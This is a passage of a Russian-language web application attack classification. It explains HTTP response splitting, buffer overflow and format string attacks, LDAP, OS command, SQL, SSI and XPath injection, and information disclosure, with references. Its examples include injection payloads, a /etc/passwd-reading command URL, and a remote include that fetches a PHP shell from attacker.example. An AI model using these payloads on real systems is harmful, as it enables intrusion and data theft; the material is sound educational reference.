Cross-site Scripting: Are your web applications vulnerable?", By Kevin Spett - SPI Dynamics
http://www.spidynamics.com/whitepapers/SPIcross-sitescripting.pdf

"Cross-site Scripting Explained", By Amit Klein – Sanctum
http://www.sanctuminc.com/pdf/WhitePaper_CSS_Explained.pdf

"HTML Code Injection and Cross-site Scripting", By Gunter Ollmann
http://www.technicalinfo.net/papers/CSS.html


Русскоязычные ссылки
“XSS без XSS”. By Marsel [marsel roses.ru] aka Phoenix

http://www.securitylab.ru/contest/212115.php


3.3 Расщепление HTTP-запроса (HTTP Response Splitting)
При использовании данной уязвимости злоумышленник посылает серверу специальным образом сформированный запрос, ответ на который интерпретируется целью атаки как два разных ответа. Второй ответ полностью контролируется злоумышленником, что дает ему возможность подделать ответ сервера.
В реализации атак с расщеплением HTTP-запроса участвуют как минимум три стороны:
- Web-сервер, содержащий подобную уязвимость.
- Цель атаки, взаимодействующая с Web-сервером под управлением злоумышленника. Типично в качестве цели атаки выступает кэширующий сервер-посредник или кэш браузера.
- Атакующий, инициирующий атаку.
Возможность осуществления атаки возникает, когда сервер возвращает данные, предоставленные пользователем в заголовках HTTP ответа. Обычно это происходит при перенаправлении пользователя на другую страницу (коды HTTP 3xx) или когда данные, полученные от пользователя, сохраняются в cookie.
В первой ситуации URL, на который происходит перенаправление, являются частью заголовка Location HTTP ответа, а во втором случае значение cookie передается в заголовке Set-Cookie.
Основой расщепления HTTP-запроса является внедрение символов перевода строки (CR и LF) таким образом, чтобы сформировать две HTTP транзакции, в то время как реально будет происходить только одна. Перевод строки используется для того, что бы закрыть первую (стандартную) транзакцию и сформировать вторую пару вопрос/ответ, полностью контролируемую злоумышленником и абсолютно непредусмотренную логикой приложения.
В результате успешной реализации этой атаки злоумышленник может выполнить следующие действия:
- Межсайтовое выполнение сценариев.
- Модификация данных кэша сервера-посредника. Некоторые кэширующие серверы-посредники (Squid 2.4, NetCache 5.2, Apache Proxy 2.0 и ряд других), сохраняют подделанный злоумышленником ответ на жестком диске и на последующие запросы пользователей по данному адресу возвращают кэшированные данные. Это приводит к замене страниц сервера на клиентской стороне. Кроме этого, злоумышленник может переправить себе значение Cookie пользователя или присвоить им определенное значение. Так же эта атака может быть направлена на индивидуальный кэш браузера пользователя.
- Межпользовательская атака (один пользователь, одна страница, временная подмена страницы). При реализации этой атаки злоумышленник не посылает дополнительный запрос. Вместо этого используется тот факт, что некоторые серверы-посредники разделяют одно TCP-соединение к серверу между несколькими пользователями. В результате второй пользователь получает в ответ страницу, сформированную злоумышленником. Кроме подмены страницы злоумышленник может также выполнить различные операции с cookie пользователя.
- Перехват страниц, содержащих пользовательские данные. В этом случае злоумышленник получает ответ сервера вместо самого пользователя. Таким образом, он может получить доступ к важной или конфиденциальной информации.

Пример
Ниже приведен пример JSP страницы /redir_lang.jsp

<%
response.sendRedirect("/by_lang.jsp?lang="+
request.getParameter("lang"));
%>

Когда данная страница вызывается пользователем с параметром lang=English, она направляет его браузер на страницу /by_lang.jsp?lang=English. Типичный ответ сервера выглядит следующим образом (используется сервер BEA WebLogic 8.1 SP1):

HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 12:53:28 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=English
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003
271009 with
Content-Type: text/html
Set-Cookie:
JSESSIONID=1pMRZOiOQzZiE6Y6iivsREg82pq9Bo1ape7h4YoHZ62RXj
ApqwBE!-1251019693; path=/
Connection: Close


<html><head><title>302 Moved Temporarily</title></head>
<body bgcolor="#FFFFFF">
<p>This document you requested has moved temporarily.</p>
<p>It's now at <a
href="http://10.1.1.1/by_lang.jsp?lang=English">http://10.1.1.1/by_lang.jsp?lan
g=English</a>.</p>
</body></html>

При анализе ответа видно, что значение параметра lang передается в значении заголовка Location. При реализации атаки злоумышленник посылает в качестве значения lang символы перевода строки, для того, чтобы закрыть ответ сервера и сформировать ещё один:

/redir_lang.jsp?lang=foobar%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aContent-
Length:%2019%0d%0a%0d%0a<html>Shazam</html>

При обработке этого запроса сервер передаст следующие данные:

HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19

<html>Shazam</html>
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003
271009 with
Content-Type: text/html
Set-Cookie:
JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK7In7IyrCST
9UsS!-1251019693; path=/
[...]

Эти данные будут обработаны клиентом следующим образом:
- Первый ответ с кодом 302 будет командой перенаправления.
- Второй ответ (код 200) объемом в 19 байт будет считаться содержимым той страницы, на которое происходит перенаправление.
- Остальные данные, согласно спецификации HTTP, игнорируются клиентом.

Ссылки

"Divide and Conquer - HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics" by Amit Klein,
http://www.sanctuminc.com/pdf/whitepaper_httpresponse.pdf

"CRLF Injection" by Ulf Harnhammar (BugTraq posting),
http://www.securityfocus.com/archive/1/271515

Русскоязычные ссылки
HTTP REQUEST SMUGGLING,
http://www.securitylab.ru/analytics/216403.php
http://www.securitylab.ru/analytics/216404.php


4 Выполнение кода (Command Execution)
Эта секция описывает атаки, направленные на выполнение кода на Web-сервере. Все серверы используют данные, преданные пользователем при обработке запросов. Часто эти данные используются при составлении команд, применяемых для генерации динамического содержимого. Если при разработке не учитываются требования безопасности, злоумышленник получает возможность модифицировать исполняемые команды.

4.1 Переполнение буфера (Buffer Overflow)
Эксплуатация переполнения буфера позволяет злоумышленнику изменить путь исполнения программы путем перезаписи данных в памяти системы. Переполнение буфера является наиболее распространенной причиной ошибок в программах. Оно возникает, когда объем данных превышает размер выделенного под них буфера. Когда буфер переполняется, данные переписывают другие области памяти, что приводит к возникновению ошибки. Если злоумышленник имеет возможность управлять процессом переполнения, это может вызвать ряд серьезных проблем.
Переполнение буфера может вызывать отказы в обслуживании, приводя к повреждению памяти и вызывая ошибки в программах. Более серьезные ситуации позволяют изменить путь исполнения программы и выполнить в её контексте различные действия. Это может происходить в нескольких случаях.
Используя переполнение буфера, можно перезаписывать служебные области памяти, например, адрес возврата из функций в стеке. Также, при переполнении могут быть переписаны значения переменных в программе.
Переполнения буфера является наиболее распространенной проблемой в безопасности и нередко затрагивает Web-серверы. Однако атаки, эксплуатирующие эту уязвимость, используются против Web-приложений не очень часто. Причина этого кроется в том, что атакующему, как правило, необходимо проанализировать исходный код или образ программы. Поскольку атакующему приходится эксплуатировать нестандартную программу на удаленном сервере, ему приходится атаковать "вслепую", что снижает шансы на успех.
Переполнение буфера обычно возникает при создании программ на языках C и C++. Если часть сайта создана с использованием этих языков, сайт может быть уязвим для переполнения буфера.

Ссылки

"Inside the Buffer Overflow Attack: Mechanism, Method and Prevention", By Mark E. Donaldson – GSEC
http://www.sans.org/rr/code/inside_buffer.php

"w00w00 on Heap Overflows", By Matt Conover - w00w00 Security Team
http://www.w00w00.org/files/articles/heaptut.txt

"Smashing The Stack For Fun And Profit", By Aleph One - Phrack 49
http://www.insecure.org/stf/smashstack.txt

4.2 Атака на функции форматирования строк (Format String Attack)
При использовании этих атак путь исполнения программы модифицируется методом перезаписи областей памяти с помощью функций форматирования символьных переменных. Уязвимость возникает, когда пользовательские данные применяются в качестве аргументов функций форматирования строк, таких как fprintf, printf, sprintf, setproctitle, syslog и т.д. Если атакующий передает приложению строку, содержащую символы форматирования ("%f", "%p", "%n" и т.д.), то у него появляется возможность:
- выполнить произвольный код на сервере;
- считывать значения из стека;
- вызывать ошибки в программе/отказ в обслуживании.

Пример

Предположим, Web-приложение хранит параметр emailAddress для каждого пользователя. Это значение используется в качестве аргумента функции printf:

printf(emailAddress);

Если значение переменной emailAddress содержит символы форматирования, функция printf будет обрабатывать их согласно заложенной в неё логики. Поскольку дополнительных значений этой функции не передано, будут использованы значения стека, хранящие другие данные.
Возможны следующие методы эксплуатации атак на функции форматирования строк:
- Чтение данных из стека:
Если вывод функции printf передается атакующему, он получает возможность чтения данных из стека, используя символ форматирования "%x" .
- Чтение строк из памяти процесса:
Если вывод функции printf передается атакующему, он может получать строки из памяти процесса, передавая в параметрах символ "%s".
- Запись целочисленных значений в память процесса:
Используя символ форматирования "%n", злоумышленник может сохранять целочисленные значения в памяти процесса. Таким образом можно перезаписать важные значения, например флаги управления доступом или адрес возврата.

Ссылки
"(Maybe) the first publicly known Format Strings exploit"
http://archives.neohapsis.com/archives/bugtraq/1999-q3/1009.html

"Analysis of format string bugs", By Andreas Thuemmel
http://downloads.securityfocus.com/library/format-bug-analysis.pdf

"Format string input validation error in wu-ftpd site_exec() function"
http://www.kb.cert.org/vuls/id/29823

Русскоязычные ссылки

«ОШИБКИ ПЕРЕПОЛНЕНИЯ БУФЕРА ИЗВНЕ И ИЗНУТРИ КАК ОБОБЩЕННЫЙ ОПЫТ», Крис Касперски
http://www.samag.ru/art/03.2004/03.2004_07.pdf

«Эксплуатирование SEH в среде Win32», (c) houseofdabus
http://www.securitylab.ru/contest/212085.php

4.3 Внедрение операторов LDAP (LDAP Injection).
Атаки этого типа направлены на Web-серверы, создающие запросы к службе LDAP на основе данных, вводимых пользователем. Упрощенный протокол доступа к службе каталога (Lightweight Directory Access Protocol, LDAP) - открытый протокол для создания запросов и управления службами каталога совместимыми со стандартом X.500. Протокол LDAP работает поверх транспортных протоколов Internet (TCP/UDP). Web-приложение может использовать данные, предоставленные пользователем для создания запросов по протоколу LDAP при генерации динамических Web-страниц. Если информация, полученная от клиента, должным образом не верифицируется, атакующий получает возможность модифицировать LDAP-запрос.
Запрос будет выполняться с тем же уровнем привилегий, с каким работает компонент приложения, выполняющий запрос (сервер СУБД, Web-сервер и т.д). Если данный компонент имеет права на чтение или модификацию данных в структуре каталога, злоумышленник получает те же возможности.
Техника эксплуатации данной уязвимости мало отличается от внедрения операторов SQL, описанной далее.

Примеры

Уязвимый код с комментариями:

line 0: <html>
line 1: <body>
line 2: <%@ Language=VBScript %>
line 3: <%
line 4: Dim userName
line 5: Dim filter
line 6: Dim ldapObj
line 7:
line 8: Const LDAP_SERVER = "ldap.example"
line 9:
line 10: userName = Request.QueryString("user")
line 11:
line 12: if( userName = "" ) then
line 13: Response.Write("<b>Invalid request. Please specify a valid user name</b><br>")
line 14: Response.End()
line 15: end if
line 16:
line 17:
line 18: filter = "(uid=" + CStr(userName) + ")" ' searching for the user entry
line 19:
line 20:
line 21: 'Creating the LDAP object and setting the base dn
line 22: Set ldapObj = Server.CreateObject("IPWorksASP.LDAP")
line 23: ldapObj.ServerName = LDAP_SERVER
line 24: ldapObj.DN = "ou=people,dc=spilab,dc=com"
line 25:
line 26: 'Setting the search filter
line 27: ldapObj.SearchFilter = filter
line 28:
line 29: ldapObj.Search
line 30:
line 31: 'Showing the user information
line 32: While ldapObj.NextResult = 1
line 33: Response.Write("<p>")
line 34:
line 35: Response.Write("<b><u>User information for: " + ldapObj.AttrValue(0) + "</u></b><br>")
line 36: For i = 0 To ldapObj.AttrCount -1
line 37: Response.Write("<b>" + ldapObj.AttrType(i) +"</b>: " + ldapObj.AttrValue(i) + "<br>" )
line 38: Next
line 39: Response.Write("</p>")
line 40: Wend
line 41: %>
line 42: </body>
line 43: </html>

Обратите внимание, что имя пользователя, полученное от клиента, проверяется на наличие в этой строке пустого значения (строка 10-12). Если в переменной содержится какое-то значение, оно используется для инициализации переменной filter (строка 18). Полученное значение используется для построения запроса к службе LDAP (строка 27), который исполняется в строке 29.
В приведенном примере атакующий имеет полный контроль над запросом и получает его результаты от сервера (строки 32-40).

Пример атаки

http://example/ldapsearch.asp?user=*

В этом случае серверу передается символ * в качестве параметра, что приводит к формированию запроса с фильтром uid=*. Выполнение запроса приводит к отображением всех объектов, имеющих атрибут uid.

Ссылки

"LDAP Injection: Are Your Web Applications Vulnerable?", By Sacha Faust - SPI Dynamics
http://www.spidynamics.com/whitepapers/LDAPinjection.pdf

"A String Representation of LDAP Search Filters"
http://www.ietf.org/rfc/rfc1960.txt


"Understanding LDAP"
http://www.redbooks.ibm.com/redbooks/SG244986.html

"LDAP Resources"
http://ldapman.org/

4.4 Выполнение команд ОС (OS Commanding).
Атаки этого класса направлены на выполнение команд операционной системы на Web-сервере путем манипуляции входными данными. Если информация, полученная от клиента, должным образом не верифицируется, атакующий получает возможность выполнить команды ОС. Они будут выполняться с тем же уровнем привилегий, с каким работает компонент приложения, выполняющий запрос (сервер СУБД, Web-сервер и т.д).

Пример

Язык Perl позволяет перенаправлять вывод процесса оператору open используя символ '|' в конце имени файла:

# Выполнить "/bin/ls" и передать
#результат оператору open

open(FILE, "/bin/ls|")

Web-приложения часто используют параметры, которые указывают на то, какой файл отображать или использовать в качестве шаблона. Если этот параметр не проверяется достаточно тщательно, атакующий может подставить команды ОС после символа "|".
Предположим, приложение оперирует URL следующего вида:
http://example/cgi-bin/showInfo.pl?name=John&template=tmp1.txt. Изменяя значение параметра template, злоумышленник дописывает необходимую команду (/bin/ls) к используемой приложением:
http://example/cgi-bin/showInfo.pl?name=John&template=/bin/ls|

Большинство языков сценариев позволяет запускать команды ОС во время выполнения, используя варианты функции exec. Если данные, полученные от пользователя, передаются этой функции без проверки, злоумышленник может выполнить команды ОС удаленно. Следующий пример иллюстрирует уязвимый PHP-сценарий.

exec("ls -la $dir",$lines,$rc);

Используя символ ";" (Unix) или "&" (Windows) в параметре dir можно выполнить команду операционной системы:
http://example/directory.php?dir=%3Bcat%20/etc/passwd

В результате подобного запроса злоумышленник получает содержимое файла /etc/passwd.

Cылки

"Perl CGI Problems", By RFP - Phrack Magazine, Issue 55
http://www.wiretrip.net/rfp/txt/phrack55.txt
(Секция "That pesky pipe")

"Marcus Xenakis directory.php Shell Command Execution Vulnerability"
http://www.securityfocus.com/bid/4278

"NCSA Secure Programming Guidelines"
http://archive.ncsa.uiuc.edu/General/Grid/ACES/security/programming/#cgi


4.5 Внедрение операторов SQL (SQL Injection)
Эти атаки направлены на Web-серверы, создающие SQL запросы к серверам СУБД на основе данных, вводимых пользователем.
Язык запросов Structured Query Language (SQL) представляет собой специализированный язык программирования, позволяющий создавать запросы к серверам СУБД. Большинство серверов поддерживают этот язык в вариантах, стандартизированных ISO и ANSI. В большинстве современных СУБД присутствуют расширения диалекта SQL, специфичные для данной реализации (T-SQL в Microsoft SQL Server, --PL SQL в Oracle и т.д.). Многие Web-приложения используют данные, переданные пользователем, для создания динамических Web-страниц.
Если информация, полученная от клиента, должным образом не верифицируется, атакующий получает возможность модифицировать запрос к SQL-серверу, отправляемый приложением. Запрос будет выполняться с тем же уровнем привилегий, с каким работает компонент приложения, выполняющий запрос (сервер СУБД, Web-сервер и т.д). В результате злоумышленник может получить полный контроль на сервером СУБД и даже его операционной системой. С точки зрения эксплуатации SQL Injection очень походит на LDAP Injection.

Пример
Предположим, аутентификация в Web-приложение осуществляется с помощью Web-формы, обрабатываемой следующим кодом:

SQLQuery = "SELECT Username FROM Users WHERE
Username = '" & strUsername & "' AND Password = '"
& strPassword & "'" strAuthCheck =
GetQueryResult(SQLQuery)

В этом случае разработчики непосредственно использует переданные пользователями значения strUsername и strPassword для создания SQL-запроса. Предположим, злоумышленник передаст следующие значения параметров:

Login: ' OR ''='
Password: ' OR ''='

В результате серверу будет передан следующий SQL-запрос:

SELECT Username FROM Users WHERE Username = '' OR
''='' AND Password = '' OR ''=''

Вместо сравнения имени пользователя и пароля с записями в таблице Users, данный запрос сравнивает пустую строку с пустой строкой. Естественно, результат подобного запроса всегда будет равен True, и злоумышленник войдет в систему от имени первого пользователя в таблице.
Обычно выделяют два метода эксплуатации внедрения операторов SQL: обычная атака, и атака вслепую (Blind SQL Injection). В первом случае злоумышленник подбирает параметры запроса, используя информацию об ошибках, генерируемую Web-приложением.

Пример

Добавляя оператор union к запросу злоумышленник проверяет доступность базы данных:

http://example/article.asp?ID=2+union+all+select+name+from+sysobjects


Сервер генерирует сообщение, аналогичное следующему:


Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All
queries in an SQL statement containing a UNION
operator must have an equal number of expressions
in their target lists.

Из этого следует, что оператор union был передан серверу, и теперь злоумышленнику необходимо подобрать используемое в исходном выражении select количество параметров.

Внедрение SQL кода вслепую

В этом случае стандартные сообщения об ошибках модифицированы, и сервер возвращает понятную для пользователя информацию о неправильном вводе. Осуществление SQL Injection может быть осуществлено и в этой ситуации, однако обнаружение уязвимости затруднено. Наиболее распространенный метод проверки наличия проблемы – добавление выражений, возвращающих истинное и ложное значение.
Выполнение подобного запроса к серверу:

http://example/article.asp?ID=2+and+1=1

должно вернуть ту же страницу, что и запрос:

http://example/article.asp?ID=2

поскольку выражение 'and 1=1' всегда истинно.

Если в запрос добавляется выражение, возвращающее значение «ложь»:

http://example/article.asp?ID=2+and+1=0

пользователю будет возвращено сообщение об ошибках или страница не будет сгенерирована.
В случае если факт наличие уязвимости подтвержден, эксплуатация ничем не отличается от обычного варианта.

Ссылки

"SQL Injection: Are your Web Applications Vulnerable" - SPI Dynamics
http://www.spidynamics.com/support/whitepapers/WhitepaperSQLInjection.pdf

"Blind SQL Injection: Are your Web Applications Vulnerable" - SPI Dynamics
http://www.spidynamics.com/support/whitepapers/Blind_SQLInjection.pdf

"Advanced SQL Injection in SQL Server Applications", Chris Anley – NGSSoftware
http://www.nextgenss.com/papers/advanced_sql_injection.pdf

"More advanced SQL Injection", Chris Anley – NGSSoftware
http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf

"Web Application Disassembly with ODBC Error Messages", David Litchfield - @stake
http://www.nextgenss.com/papers/webappdis.doc

"SQL Injection Walkthrough"
http://www.securiteam.com/securityreviews/5DP0N1P76E.html

"Blind SQL Injection" – Imperva
http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html

"SQL Injection Signatures Evasion" – Imperva
http://www.imperva.com/application_defense_center/white_papers/ sql_injection_signatures_evasion.html

"Introduction to SQL Injection Attacks for Oracle Developers" – Integrigy
http://www.net-security.org/dl/articles/IntegrigyIntrotoSQLInjectionAttacks.pdf

Русскоязычные ссылки

«Управление Microsoft SQL Server используя SQL инъекции», Cesar Cerrudo
http://www.securitylab.ru/analytics/216396.php

«Внедрение SQL кода с завязанными глазами», Офер Маор, Амичай Шалман
http://www.securitylab.ru/analytics/216332.php
http://www.securitylab.ru/analytics/216333.php

“SQL инъекция и ORACLE”
http://www.securitylab.ru/analytics/216253.php
4.6 Внедрение серверных расширений (SSI Injection)
Атаки данного класса позволяют злоумышленнику передать исполняемый код, который в дальнейшем будет выполнен на Web-сервере. Уязвимости, приводящие к возможности осуществления данных атак, обычно заключаются в отсутствии проверки данных, предоставленных пользователем, перед сохранением их в интерпретируемом сервером файле.
Перед генерацией HTML страницы сервер может выполнять сценарии, например Server-site Includes (SSI). В некоторых ситуациях исходный код страниц генерируется на основе данных, предоставленных пользователем.
Если атакующий передает серверу операторы SSI, он может получить возможность выполнения команд операционной системы или включить в неё запрещенное содержимое при следующем отображении.

Пример

Следующее выражение будет интерпретировано в качестве команды, просматривающей содержимое каталога сервера в Unix системах.

< !--#exec cmd="/bin/ls /" -- >

Следующее выражение позволяет получить строки соединения с базой данных и другую чувствительную информацию, расположенную в файле конфигурации приложения .NET.

<!--#INCLUDE VIRTUAL="/web.config"-->
Другие возможности для атаки возникают, когда Web-сервер использует в URL имя подключаемого файла сценариев, но должным образом его не верифицирует. В этом случае злоумышленник может создать на сервере файл и подключить его к выполняемому сценарию, или указать в качестве имени сценария URL своем сервере.

Пример

Предположим, Web-приложение работает с ссылками подобными следующей:

http://portal.example/index.php?template=news

$body = $_GET['page'] . ".php";

В ходе обработки этого запроса сценарий index.php подключает сценарий news.php и выполняет указанный в нем код.
Злоумышленник может указать в качестве URL http://portal.example/index.php?template=http://attacker.example/phpshell и сценарий phpshell будет загружен с сервера злоумышленника и выполнен на сервере с правами Web-сервера.
Если на сервере предусмотрена функция сохранения документов пользователя, злоумышленник может предварительно сохранить необходимый сценарий и вызвать его через функцию подключения (http://portal.example/index.php?template=users/uploads/phpshell) или напрямую (http://portal.example/users/uploads/phpshell.php).

Ссылки


"Server Side Includes (SSI)" - NCSA HTTPd
http://hoohoo.ncsa.uiuc.edu/docs/tutorials/includes.html

"Security Tips for Server Configuration" - Apache HTTPD
http://httpd.apache.org/docs/misc/security_tips.html#ssi

"Header Based Exploitation: Web Statistical Software Threats" - CGISecurity.com
http://www.cgisecurity.net/papers/header-based-exploitation.txt

"A practical vulnerability analysis"
http://hexagon.itgo.com/Notadetapa/a_practical_vulnerability_analys.htm

"Santi worm”
http://www.f-secure.com/v-descs/santy_a.shtml

PhpInclude.Worm
http://www.frsirt.com/exploits/20041225.PhpIncludeWorm.php

4.7 Внедрение операторов XPath (XPath Injection)
Эти атаки направлены на Web-серверы, создающие запросы на языке XPath на основе данных, вводимых пользователем.
Язык XPath 1.0 разработан для предоставления возможности обращения к частям документа на языке XML. Он может быть использован непосредственно либо в качестве составной части XSLT-преобразования XML-документов или выполнения запросов XQuery.
Синтаксис XPath близок к языку SQL запросов. Предположим, что существует документ XML, содержащий элементы, соответствующие именам пользователей, каждый из которых содержит три элемента – имя, пароль и номер счета. Следующее выражение на языке XPath позволяет определить номер счета пользователя "jsmith" с паролем "Demo1234":

string(//user[name/text()='jsmith' and
password/text()='Demo1234']/account/text())

Если запросы XPath генерируются во время исполнения на основе пользовательского ввода, у атакующего появляется возможность модифицировать запрос с целью обхода логики работы программы.

Пример

Предположим, что Web-приложение использует XPath для запросов к документу XML для получения номеров счета пользователей, чье имя и пароль было передано клиентом. Если это приложение внедряет данные пользователя непосредственно в запрос, это приводит к возникновению уязвимости.

Пример (Microsoft ASP.NET и C#):

XmlDocument XmlDoc = new XmlDocument();
XmlDoc.Load("...");

XPathNavigator nav = XmlDoc.CreateNavigator();
XPathExpression expr =
nav.Compile("string(//user[name/text()='"+TextBox1.Text+"'
and password/text()='"+TextBox2.Text+
"']/account/text())");

String account=Convert.ToString(nav.Evaluate(expr));
if (account=="") {
// name+password pair is not found in the XML document
-
// login failed.

} else {
// account found -> Login succeeded.
// Proceed into the application.
}

В случае использования подобного кода злоумышленник может внедрить в запрос выражения на языке XPath, например, ввести в качестве имени пользователя следующее выражение:

' or 1=1 or ''='

В этом случае, запрос всегда будет возвращать счет первого пользователя в документе, поскольку будет выглядеть следующим образом:

string(//user[name/text()='' or 1=1 or ''='' and
password/text()='foobar']/account/text())

В результате злоумышленник получит доступ в систему от имени первого в документе XML пользователя не предоставляя имени пользователя и пароля.


Ссылки

"XML Path Language (XPath) Version 1.0" - W3C Recommendation, 16 Nov 1999
http://www.w3.org/TR/xpath

"Encoding a Taxonomy of Web Attacks with Different-Length Vectors" - G. Alvarez and S. Petrovic
http://arxiv.org/PS_cache/cs/pdf/0210/0210026.pdf

"Blind XPath Injection" - Amit Klein
http://www.sanctuminc.com/pdfc/WhitePaper_Blind_XPath_Injection_20040518.pdf



5 Разглашение информации (Information Disclosure)
Атаки данного класса направлены на получение дополнительной информации о Web-приложении. Используя эти уязвимости, злоумышленник может определить используемые дистрибутивы ПО, номера версий клиента и сервера и установленные обновления. В других случаях, в утекающей информации может содержаться расположение временных файлов или резервных копий. Во многих случаях эти данные не требуются для работы пользователя. Большинство серверов предоставляют доступ к чрезмерному объему данных, однако необходимо минимизировать объем служебной информации. Чем большими знаниями о приложении будет располагать злоумышленник, тем легче ему будет скомпрометировать систему.

5.1 Индексирование директорий (Directory Indexing)
Предоставление списка файлов в директории представляет собой нормальное поведение Web-сервера, если страница, отображаемая по умолчанию (index.html/home.html/default.htm) отсутствует.
Когда пользователь запрашивает основную страницу сайта, он обычно указываете доменное имя сервера без имени конкретного файла ( http://www.example). Сервер просматривает основную папку, находит в ней файл, используемый по умолчанию, и на его основе генерирует ответ. Если такой файл отсутствует, в качестве ответа может вернуться список файлов в директории сервера.
Эта ситуация аналогична выполнению команды "ls" (Unix) или "dir" (Windows) на сервере и форматированию результатов в виде HTML.
В этой ситуации злоумышленник может получить доступ к данным, не предназначенным для свободного доступа. Довольно часто администраторы полагаются на "безопасность через сокрытие", предполагая, что раз гиперссылка на документ отсутствует, то он недоступен непосвященным. Современные сканеры уязвимостей, такие как Nikto, могут динамически добавлять файлы и папки к списку сканируемых в зависимости от результатов запросов. Используя содержимое /robots.txt или полученного списка директорий сканер может найти спрятанное содержимое или другие файлы.
Таким образом, внешне безопасное индексирование директорий может привести к утечке важной информации, которая в дальнейшем будет использована для проведения атак на систему.

Пример:
Используя индексирование директорий можно получить доступ к следующим данным:
- резервные копии ( .bak, .old or .orig);
- временные файлы. Такие файлы должны удаляться сервером автоматически, но иногда остаются доступными.
- спрятанные файлы, название которых начинается с символа ".";
- соглашение об именах. Эта информация может помочь предсказать имена файлов или директорий (admin или Admin, back-up или backup).
- список пользователей сервера. Довольно часто для каждого из пользователей создается папка с именем, основанном на названии учетной записи.
- имена файлов конфигурации (.conf, .cfg or .config)
- содержимое серверных сценариев или исполняемых файлов в случае неверно указанных расширений или разрешений.
Могут использоваться три основных сценария получения списка файлов:
1) Ошибки конфигурации. Подобные проблемы возникают, когда администратор ошибочно указывает в конфигурации сервера эту опцию. Подобные ситуации часто возникают при настройке сложных конфигураций, где некоторые папки должны быть доступны для просмотра. С точки зрения злоумышленника запрос не отличается от указанного раньше. Он просто обращается к директории и анализирует результат. Его не беспокоит, почему сервер ведет себя подобным образом.
2) Некоторые компоненты Web-сервера позволяют получать список файлов, даже если это не разрешено в конфигурационных файлах. Обычно это возникает в результате ошибок реализации, когда сервер генерирует список файлов при получении определенного запроса.
3) Базы данных поисковых машин (Google, Wayback machine) могут содержать кэш старых вариантов сервера, включая списки файлов.

Ссылки

Directory Indexing Vulnerability Alerts
http://www.securityfocus.com/bid/1063
http://www.securityfocus.com/bid/6721
http://www.securityfocus.com/bid/8898

Nessus "Remote File Access" Plugin Web page
http://cgi.nessus.org/plugins/dump.php3?family=Remote%20file%20access

Web Site Indexer Tools
http://www.download-freeware-shareware.com/Internet.php?Theme=112

Intrusion Prevention for Web
http://www.modsecurity.org

Search Engines as a Security Threat
http://it.korea.ac.kr/class/2002/software/Reading%20List/Search%20Engines%20as%20a%20Security%20Threat.pdf

The Google Hacker's Guide
http://johnny.ihackstuff.com/security/premium/The_Google_Hackers_Guide_v1.0.pdf

5.2 Идентификация приложений (Web Server/Application Fingerprinting)
Определение версий приложений используется злоумышленником для получения информации об используемых сервером и клиентом операционных системах, Web-северах и браузерах. Также эта атака может быть направлена на другие компоненты Web-приложения, например, службу каталога или сервер баз данных или используемые технологии программирования.
Обычно подобные атаки осуществляются путем анализа различной информации, предоставляемой Web-сервером, например:

Особенности реализации протокола HTTP;
Заголовки HTTP-ответов;
Используемые сервером расширения файлов (.asp или. jsp);
Значение Cookie (ASPSESSION и т.д.);
Сообщения об ошибках;
Структура каталогов и используемое соглашение об именах (Windows/Unix);
Интерфейсы поддержки разработки Web-приложений(Frontpage/WebPublisher);
Интерфейсы администрирования сервера (iPlanet/Comanche);
Определение версий операционной системы.

Для определения версий клиентских приложений обычно используется анализ HTTP-запросов (порядок следования заголовков, значение User-agent и т.д.). Однако, для этих целей могут применятся и другие техники. Так, например, анализ заголовков почтовых сообщений, созданных с помощью клиента Microsoft Outlook, позволяет определить версию установленного на компьютере браузера Internet Explorer.
Наличие детальной и точной информации об используемых приложениях очень важно для злоумышленника, поскольку реализация многих атак (например, переполнения буфера) специфично для каждого варианта операционной системы или приложения. Кроме того, детальная информация об инфраструктуре позволяет снизить количество ошибок, и как следствие - общий «шум», производимый атакующим. Данный факт отмечен в HTTP RFC 2068, рекомендующим чтобы значение заголовка Server HTTP ответа являлся настраиваемым параметром.

Примеры
Сообщения об ошибках – ошибка 404 сервером Apache обозначается фразой "Not
Found", в то время как IIS 5.0 отвечает сообщением "Object Not Found".

# telnet target1.com 80
Trying target1.com...
Connected to target1.com.
Escape character is '^]'.
HEAD /non-existent-file.txt HTTP/1.0

HTTP/1.1 404 Not Found
Date: Mon, 07 Jun 2004 14:31:03 GMT
Server: Apache/1.3.29 (Unix)
mod_perl/1.29
Connection: close
Content-Type: text/html; charset=iso-
8859-1

Синтаксис заголовков также может отличаться. Например, использование строчных или заглавных букв в названии параметров ("Content-Length" в IIS или "Content-length" в Netscape-Enterprise/6.0).

Не смотря на требования HTTP RFC, существуют семантические особенности при генерации заголовков различными серверами. Например, Apache передает параметр Date перед значением заголовка Server, в то время как IIS использует обратный порядок. Порядок значений параметров так же может отличаться. Например, при обработке запроса OPTIONS Apache возвращает только параметр Allow, в то время как IIS дополнительно включает параметр Public.
Аналогичным образом может анализироваться наличие опциональных заголовков (Vary, Expires и т.д.) и реакция сервера на неверные запросы ("GET //", "GET/%2f" и т.д.).

Ссылки

"An Introduction to HTTP fingerprinting"
http://net-square.com/httprint/httprint_paper.html

"Hypertext Transfer Protocol -- HTTP/1.1"
http://www.cis.ohio-state.edu/cgi-bin/rfc/rfc2068.html#sec-14.39

"HMAP: A Technique and Tool for Remote Identification of HTTP Servers"
http://seclab.cs.ucdavis.edu/papers/hmap-thesis.pdf

"Identifying Web Servers: A first-look into Web Server Fingerprinting"
http://www.blackhat.com/presentations/bh-asia-02/bh-asia-02-grossman.pdf

"Mask Your Web Server for Enhanced Security"
http://www.port80software.com/support/articles/maskyourwebserver

"Web Intrusion Detection and Prevention"
http://www.modsecurity.org

"IIS LockDown Tool 2.1"
